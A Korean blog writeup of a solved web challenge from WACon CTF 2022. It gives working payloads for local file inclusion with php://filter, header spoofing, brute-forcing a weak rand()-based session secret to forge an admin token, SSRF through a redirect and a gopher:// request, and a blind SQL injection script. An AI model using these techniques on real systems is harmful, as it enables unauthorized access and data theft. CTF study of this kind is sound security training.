-
[Study] WACon CTF 2022 Kuncɛlan WriteupCTF/WACon CTF 2022 2022. 6. 27. 22:13
대회 기간에는 해결하지 못했던 문제였다. 우리 팀은 인원수 제한으로 ST4RT, 3ND 두 팀으로 나누어 출전했는데(본인은 ST4RT 로 출전) 3ND팀에서는 해당 문제를 해결했다. 대회 종료 후 서버 오픈 시간이 길지 않았기 때문에 팀원인 nicknamemohaji 님의 롸업을 기반으로 리뷰해보았다.
해당 문제는 블랙박스 기반 문제로, 별도의 소스코드가 주어지지 않았다. 주어진 페이지에 접근해보자.
guest / guest 로 로그인하면 curl 기능을 사용 할 수 있는 듯 한 페이지로 안내된다. 하지만 관리자 권한이 없어서 해당 기능을 테스트 할 수 없다.
우선 gobuster를 통해 별도로 접근 가능한 디렉토리나 파일이 있는지 확인해보았다.(OSCP의 습관..)
load.phtml 이 존재하는데, curl 기능을 제공하는 페이지의 파라미터가 load였다.
http://114.203.209.112:8000/index.phtml?fun_004ded7246=load
실제로 직접 접근해보니 아래와 같은 메시지가 출력되었다.
따라서, 입력받은 파라미터 뒤에 .phtml 를 붙힌 파일을 include하는 기능일 것이라고 추측했다.
(index를 입력했을때 정상출력을 못해주는 것 또한 확인했다.)
그리고 파라미터에 /www/var/html/load를 입력해도 curl기능을 호출함으로써 LFI를 의심하게되었다.
해당 서버는 php로 구성되어 있으므로 php wrapper를 통해 index.phtml load.phtml 의소스코드를 획득 할 수 있었다.
http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load
## index.phtml <?php error_reporting(0); session_start(); if(!isset($_SESSION['username'])) { header('location: ./login.php'); die(); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <link rel="icon" href="favicon.png"> <title>Home</title> <link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/"> <!-- Bootstrap core CSS --> <link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css" rel="stylesheet"> </head> <body> <header> <!-- Fixed navbar --> <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark"> <a class="navbar-brand" href="./index.phtml?fun_004ded7246">Home</a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarCollapse"> <ul class="navbar-nav mr-auto"> <li class="nav-item active"> <a class="nav-link" href="./index.phtml?fun_004ded7246">Home</a> </li> <li class="nav-item active"> <a class="nav-link" href="./index.phtml?fun_004ded7246=load">Fun?</a> </li> </ul> <h5><font color="#fff">Welcome </font><font color="#fff"><strong><?php echo $_SESSION['username']; ?></strong></font> ð</h5> <h5><a class="nav-link" href="./logout.php">Logout</a></h5> </div> </nav> </header> <!-- Begin page content --> <?php if (isset($_GET["fun_004ded7246"])) { if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";} else { ?> <main role="main" class="container"> <h1 class="mt-5">They said ?</h1> <p class="lead">A secure website should start with <code>https</code> rather than <code>http</code>. The "s" in "https" stands for "secure". </p> </main> <?php } } else{ header('location: ./index.phtml?fun_004ded7246'); die(); } ?> <footer class="footer"> <div class="container"> <span class="text-muted">You can totally do this.</span> </div> </footer> <!-- Bootstrap core JavaScript ================================================== --> <!-- Placed at the end of the document so the pages load faster --> <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> <script>window.jQuery || document.write('<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js"><\/script>')</script> <script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js"></script> <script src="https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js"></script> </body> </html>
## load.phtml <?php // LOCATION : ./internal_e0134cd5a917.php error_reporting(0); session_start(); if (!isset($_SESSION['username'])) { header('location: ./login.php'); die(); } if (__FILE__ === $_SERVER['SCRIPT_FILENAME']) { die("only in include"); } function valid_url($url) { $valid = False; $res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$res) $valid = True; try{ parse_url($url); } catch(Exception $e){ $valid = True;} $int_ip=ip2long(gethostbyname(parse_url($url)['host'])); return $valid || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 || ip2long('0.0.0.0') >> 24 == $int_ip >> 24; } function get_data($url) { if (valid_url($url) === True) { return "IP not allowed or host error"; } $ch = curl_init(); $timeout = 7; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, True); curl_setopt($ch, CURLOPT_MAXREDIRS, 1); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $data = curl_exec($ch); if (curl_error($ch)) { curl_close($ch); return "Error !"; } curl_close($ch); return $data; } function gen($user){ return substr(sha1((string)rand(0,getrandmax())),0,20); } if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); } if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); } if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); } $IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']); $out = ""; if (isset($_POST['url']) && !empty($_POST['url'])) { if ( $IP === "127.0.0.1" & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) & strpos($_COOKIE['USER'], 'admin') !== false ) { $out = get_data($_POST['url']); } else { $out = "Only the administrator can test this function from 127.0.0.1!"; } } ?> <main role="main" class="container"> <h1 class="mt-5">ðððð:// ?</h1> <p class="lead">cURL is powered by libcurl , used to interact with websites ð</p> <form method="post" > <legend><label for="url">Website URL</label></legend> <input class="form-control" type="url" name="url" style="width:100%" /> <input class="form-control" type="submit" value="ð Request HTTP ð"> </form><?php echo $out; ?> </main>
획득한 소스코드의 내용은 위와 같았고, index.phtml의 내용은 예상과 같아서 다른 확장자의 소스를 획득 할 수는 없었다.
load.phtml 파일의 맨 위에 주석처리되어있는 ./internal_e0134cd5a917.php 경로에 접근해보면 아래와 같은 메시지가 안내된다. curl을 통해 접근해야 하는 듯 하다.
curl 사용 조건 부분을 자세히 분석해보자.
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); } if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); } if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); } ##### ............................................................................ (2) $IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']); ##### ............................................................................ (1) $out = ""; if (isset($_POST['url']) && !empty($_POST['url'])) { if ( $IP === "127.0.0.1" & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) & strpos($_COOKIE['USER'], 'admin') !== false ) { $out = get_data($_POST['url']); } else { $out = "Only the administrator can test this function from 127.0.0.1!"; } }
우선 (1)의 결과 값이 127.0.0.1 이어야 한다. 해당 조건은 X_HTTP_HOST_OVERRIDE 라는 헤더를 만들어서 값을 넣어주면 해결 할 수 있다. $_SERVER['HTTP_~~~'] 의 뜻이 ~~~ 라는 커스텀 헤더의 값을 읽겠다는 의미이기 때문이다.
https://www.php.net/manual/en/reserved.variables.server.php
PHP: $_SERVER - Manual
Guide to URL paths...Data: $_SERVER['PHP_SELF']Data type: StringPurpose: The URL path name of the current PHP file, including path-info (see $_SERVER['PATH_INFO']) and excluding URL query string. Includes leading slash.Caveat: This is after URL rewrites (i
www.php.net
얼핏보면, 두 번째 조건과 세 번째 조건이 함께 존재하는게 불가능해보인다.
그 이유는 3번째 조건에서 USER 쿠키의 값이 admin이어야 하는데, 두 번째 조건의 X-TOKEN은 (2)에 의해 guest라는 값이 하드코딩된 해시 값이기 때문이다. 즉, 두 번째 조건의 $_COOKIE['USER'] 는 guest여야 하고, 세 번째 조건의 $_COOKIE['USER'] 는 admin이어야 한다.
하지만, 위 조건은 hash가 무조건 안전하다고 가정했을 때이다. 대회 도중에는 이 부분을 생각하지 못해서 다른데를 빙빙돌다가 결국 해결하지 못했다...
취약점을 찾아보자. $_SESSION["X-SECERT"] 이 생성되는 gen() 함수는 아래와 같다.
function gen($user){ return substr(sha1((string)rand(0,getrandmax())),0,20); }
getrandmax() == (2 ^ 32) - 1 이므로 BruteForce가 불가능한만큼 큰 숫자는 아니다. 해당 범위안의 숫자를 전수조사하여 해시의 처음 20자리와 에 "guest"를 붙힌 문자열의 해시값이 발급받은 X-TOKEN일때의 수에 admin을 붙히고 다시 해시를 해주면 조건문을 만족 할 수 있다.
우선 BruteForce 공격을 진행해보자.
import hashlib import multiprocessing def findhash(start): target = '27e040ae65d4e051424f3fcc833bb4ca8580865242ec18a83e890f2a339d2fe1' # X-TOKEN for i in range(start, start + 100000001, 1): if target == hashlib.sha256((hashlib.sha1(str(i).encode()).hexdigest()[0:20] +'guest').encode()).hexdigest(): print("#######################################") print("FOUND!!") print(i) print(hashlib.sha256((hashlib.sha1(str(i).encode()).hexdigest()[0:20] +'admin').encode()).hexdigest()) print("#######################################") return if i % 10000000 == 0: print(i) #print(f"{start} ~ {end} not found") pool = multiprocessing.Pool(processes = 22) pool.map(findhash, [i * 100000000 for i in range(0, 22)]) pool.close() pool.join()
위 조건을 모두 만족하면 아래와 같이 curl자체는 이용이 가능함을 알 수 있다.
하지만 직접 127.0.0.1로 접근하는 것은 valid_url 메소드에 의해 제한되어있다. 하지만, get_data의 뒷 부분을 자세히 분석해보면 redirect이 허용되어 있음을 알 수 있다.
function get_data($url) { if (valid_url($url) === True) { return "IP not allowed or host error"; } $ch = curl_init(); $timeout = 7; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, True); curl_setopt($ch, CURLOPT_MAXREDIRS, 1); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); ##### curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $data = curl_exec($ch); if (curl_error($ch)) { curl_close($ch); return "Error !"; } curl_close($ch); return $data; }
따라서 127.0.0.1 로 redirect를 유도하는 페이지를 만든 후에 해당 주소로 curl을 시도하면 될 것이다.
<?php header("Location: http://127.0.0.1/internal_e0134cd5a917.php")
아래와 같이 요청하여 다음 경로를 획득하였다. (./internal_1d607d2c193b.php)
해당 경로로 접근하면, 계정 정보를 요구한다.
아무 ID/PW를 입력하면 POST EMPTY! 라는 반환값이 오는데, POST 로 메소드를 바꾸고 Content-Type을 추가하는 등 조건을 맞춰주면 아래와 같은 메시지가 출력된다.
SQLi 가 의심되어, Basic 인증값에 인젝션을 시도했다. python의 requests 모듈에서는 auth 파라미터를 통해 Basic 인증을 지원한다.
http://www.fun25.co.kr/blog/python-requests-basic-authenticate
Requests 사용시 Basic 인증 처리 방법 | 퍼니오 호스팅
Requests 사용시 Basic 인증 처리 방법 requests 라이브러리 사용시 Basic 인증이 필요한 리퀘스트 처리 방법입니다. session = requests.Session() session.auth = ("user", "password") r = session.get('http://example.com/data-get')
www.fun25.co.kr
import requests import string URL = 'http://114.203.209.112:8000/internal_1d607d2c193b.php' data = {"aaa": "bbb"} li = string.ascii_letters + string.digits + '_' + '}' flag = "WACon{" for i in range(19): print(flag) for c in li : r = requests.post(URL, auth = ("admin' and password like '" + flag + c + "%' #", 'pw'), data=data) if r.text.count("not found") != 1: flag += c break flag_ = "" for i in range(25): r = requests.post(URL, auth = (f"admin' and ord(substr(password, {i+1}, 1))> 95#", 'pw'), data=data) if r.text.count("not found") != 1: flag_ += flag[i].lower() else: flag_ += flag[i].upper() print(flag_) ## by nicknamemohaji
Blind SQLi를 통해 플래그 추출을 시도했지만, 일부분만 주어졌다. gopher를 이용하라는 힌트가 주어져 이를 시도해보았다.
고퍼에 대해 조사하다가, gopher의 개념과 curl 사용 예시가 동시에 있는 자료를 발견했다.
https://me2nuk.com/SSRF-Gopher-Protocol-MySQL-Raw-Data-Exploit/
SSRF Gopher Protocol을 이용하여 MySQL 주입(SSRF Through Gopher)
SSRF 취약점이 발생할 때 Gopher Protocol을 이용하여 MySQL에 쿼리를 주입하여 있는 데이터베이스 정보를 탈취할 수 있습니다.
me2nuk.com
이를 응용하여, 이전에 사용했던 SSRF를 통해 curl을 이용하여 gopher 를 사용해보았다.
<?php header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0aAuthorization:%20Basic%20YWRtaW46V0FDb257dHJ5X3VzaW5nX2dvcGhoaGhlcg==%0d%0a%0d%0aaaa") ?>
응답값으로 플래그 뒷부분을 출력해준다.
FLAG : WACon{Try_using_Gophhhher_ffabcdbc}
반응형'CTF > WACon CTF 2022' 카테고리의 다른 글
[Clear] WACon CTF 2022 interspace Writeup (0) 2022.06.27